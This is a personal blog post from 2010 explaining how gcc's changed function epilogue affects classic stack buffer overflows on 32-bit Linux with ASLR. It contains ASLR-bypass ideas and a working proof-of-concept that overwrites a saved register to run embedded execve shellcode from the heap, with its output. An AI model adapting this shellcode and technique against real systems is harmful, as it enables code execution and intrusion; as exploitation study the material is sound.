First post! Buffer overflows on modern linux.
The past years i’ve had alot of issues in life, the past many years actually, though the most recent years have been quite horrific. Shelters, Jails, Group homes, Asylums you name it. I visted all 4 just in one year at the age of 15 and i’m 23 now so it’s not entirely a new concept, but it seems the visits just keep getting worse and longer, and i’m coming to drastic conclusions about existence in general. Perhaps that is for another blog post though, but it goes to say for that reason I’ve not been too current on the most recent security precautions in the most recent operating system releases.
When I started to drift from the scene (but never letting it out of my memory) linux had just obtained ASLR, or “Address Space Layout Randomization” . ASLR essentially served it’s purpose in creating more, what are not always and not so practically exploited security holes when a security hole existed, due to having non static memory offsets for different segments:
xzziroz@apollo:~$ cat aslr_example.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int i1;
extern char **environ;
int main (void) {
char *ptr = malloc(32);
int i2;
if (!ptr) {
perror("malloc");
exit(1);
}
printf(".data: %p\n.stack: %p\n.heap: %p\n.env: %p\n", &i1, &i2, ptr, environ);
return(0);
}
xzziroz@apollo:~$ ./aslr_example
.data: 0x804974c
.stack: 0xbfeac02c
.heap: 0x8801008
.env: 0xbfeac0dc
xzziroz@apollo:~$ ./aslr_example
.data: 0x804974c
.stack: 0xbfcaa7ac
.heap: 0x973f008
.env: 0xbfcaa85c
It should be noted that this machine i’m logged into is 32 bit:
Linux apollo 2.6.26-2-686 #1 SMP Sat Dec 26 09:01:51 UTC 2009 i686 GNU/Linux
And that it gave static dynamic library offsets using ldd, yet the other three linux machines i’m currently logged into did not. Non of them claim to be using grsecurity in a uname, so i’m guessing in 2010 linux started randomizing them also [response needed].
Some obvious methods to defeat ASLR protection:
- stick a static opcode’s address in EIP (.text is still static, so is .data and i think the GOT/PLT is too amongst other things) such as jmp *(%esp)
- brute force the offset, not so much an option remotely
Yesterday I tried demonstrating a generic buffer overflow to a noob on freenode. Foolishly I told him i’d be right back, though it took me longer than expected. I knew about ASLR and I knew since I had gone away that the stack had gone non exec. But I didn’t know that now gcc creates frame returns that look like this:
0x0804844d <main+121>: pop %ecx 0x0804844e <main+122>: pop %ebp 0x0804844f <main+123>: lea -0x4(%ecx),%esp 0x08048452 <main+126>: ret
Notice anything strange? There is no movl of %ebp to %esp before the pop of %ebp, the ancient de facto way of returning from a frame. %esp becomes relative to what is popped in %ecx. and the ret will pop %eip at %esp.
The stored EIP that the initial “call” to the frame put on the stack is not even being used!
In other words, instead of the long known saved stack diagram that aleph1 taught so well:
[buffer][ebp][eip][arg1][arg2][arg3]
We have:
[buffer][ecx][ebp][eip][arg1][arg2][arg3]
and the ret will pop %eip == *-0×4(%ecx)
The following code allocates a buffer of 64 bytes with malloc and shoves shellcode into it. Heap space is used as the heap is still executable. The code places the address of the buffer, and hence the shellcode, in two variables in .data (which is still static), p and pp. pp is at -0×4 that of p, the address of p (not what it is at the address of p, which is the shellcode’s address) is used to overflow the saved ecx on the stack, eip is popped relative to it, and /usr/bin/id is executed:
#include <stdlib.h>
#include <string.h>
int i = 0;
char *p;
char *pp;
int main (void) {
char buff[64];
p = pp = malloc(64);
strcpy(p, "\xeb\x18\x5e\x89\x76\x0C\x31\xc0\x88\x46\x0B\x89\x46\x10\xb0\x0b\x89\xf3\x8d\x4e\x0C\x8d\x56\x10\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x69\x64");
for (; i < (128/4); i++) *((int *)buff + i) = (int) &pp;
}
xzziroz@apollo:~$ ./generic_bof
uid=1005(xzziroz) gid=1006(xzziroz) groups=1006(xzziroz)
xzziroz@apollo:~$
So, as seen, a buffer overflow is still exploitable in linux, but what exactly does this change? The most obvious is that you can’t overflow eip with the address of a static opcode (such as that from the .text segment) as previously suggested, unless you find another static memory location that contains the address of the opcode at -4, which is alot more unlikely than just finding the opcode itself.
As it seems, as most anything that is at one point exploitable, such as nations and children, they mature and things change.
The shellcode used in this exploit is the shellcode from aleph1′s smashing the stack for fun and profit. It has had 7 bytes of exit code removed (though if the execve fails it’s going to infinite loop, just stick a bad byte after the int 80 for execve if you really don’t care if the machine crashes instead of exiting cleanly, forgot to do this in the example), the /bin/sh has been updated with /usr/bin/id and the offsets updated to reflect these changes. I believe it to be quite a horrible shellcode, as instead of offsetting the execve parameters with the eip the jmp to the call returned, he should have just offsetted from esp, like I have done with my netbsd x86_64 execve shellcode on n0ah.org. Doing so would have allowed the /bin/sh to be replaced without having to change 5 offsets in the shellcode for a string of different length. Though as it’s fucked shellcode, i’m not going to fuck with it anymore.
It is what it is.
About this entry
You’re currently reading “First post! Buffer overflows on modern linux.,” an entry on n0ah's blog
- Published:
- May 31, 2010 / 4:44 pm
- Category:
- Uncategorized
- Tags:
3 Comments
Jump to comment form | comment rss [?] | trackback uri [?]